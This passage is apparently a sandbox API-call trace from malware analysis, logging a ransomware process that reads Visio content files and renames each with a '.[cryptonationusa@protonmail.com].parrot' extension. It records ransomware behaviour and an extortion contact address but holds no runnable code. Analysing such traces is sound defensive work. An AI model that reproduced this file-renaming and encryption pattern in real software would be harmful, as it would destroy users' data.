Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEDG_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pedg_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEDG_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pedg_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.692] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.693] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.693] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31400, lpOverlapped=0x0) returned 1 [0223.702] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peeqp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEEQP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peeqp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.716] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.717] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fe00, lpOverlapped=0x0) returned 1 [0223.728] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peeqp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEEQP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peeqp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.741] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.741] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.743] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f800, lpOverlapped=0x0) returned 1 [0223.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEHEAT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peheat_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEHEAT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peheat_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.765] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.767] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ec00, lpOverlapped=0x0) returned 1 [0223.772] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEHEAT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peheat_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEHEAT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peheat_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.787] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.788] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.789] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x52800, lpOverlapped=0x0) returned 1 [0223.988] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEINST_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peinst_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEINST_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peinst_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.011] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.011] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.013] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x50c00, lpOverlapped=0x0) returned 1 [0224.114] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEINST_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peinst_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEINST_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peinst_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.138] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.139] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.218] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.218] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8c00, lpOverlapped=0x0) returned 1 [0224.226] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.235] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.237] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.237] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d800, lpOverlapped=0x0) returned 1 [0224.240] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.324] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.325] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.327] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.327] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8a00, lpOverlapped=0x0) returned 1 [0224.342] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.351] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.351] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.352] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.353] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d400, lpOverlapped=0x0) returned 1 [0224.356] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPIPE_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepipe_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.370] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.370] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.372] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.372] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20200, lpOverlapped=0x0) returned 1 [0224.380] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPUMP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepump_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPUMP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepump_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.389] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.391] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.391] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f600, lpOverlapped=0x0) returned 1 [0224.398] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPUMP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepump_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEPUMP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pepump_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.414] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.414] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.416] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.416] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x89c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x89c00, lpOverlapped=0x0) returned 1 [0224.440] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERIPH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\periph_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERIPH_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\periph_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.528] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.541] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.541] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x87c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x87c00, lpOverlapped=0x0) returned 1 [0224.578] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERIPH_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\periph_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERIPH_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\periph_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.613] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.614] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.615] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.615] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbe00, lpOverlapped=0x0) returned 1 [0224.623] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.632] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.633] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.634] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.634] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7400, lpOverlapped=0x0) returned 1 [0224.636] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.644] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.645] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.645] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb800, lpOverlapped=0x0) returned 1 [0224.646] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.653] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.654] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.655] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.655] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7400, lpOverlapped=0x0) returned 1 [0224.656] 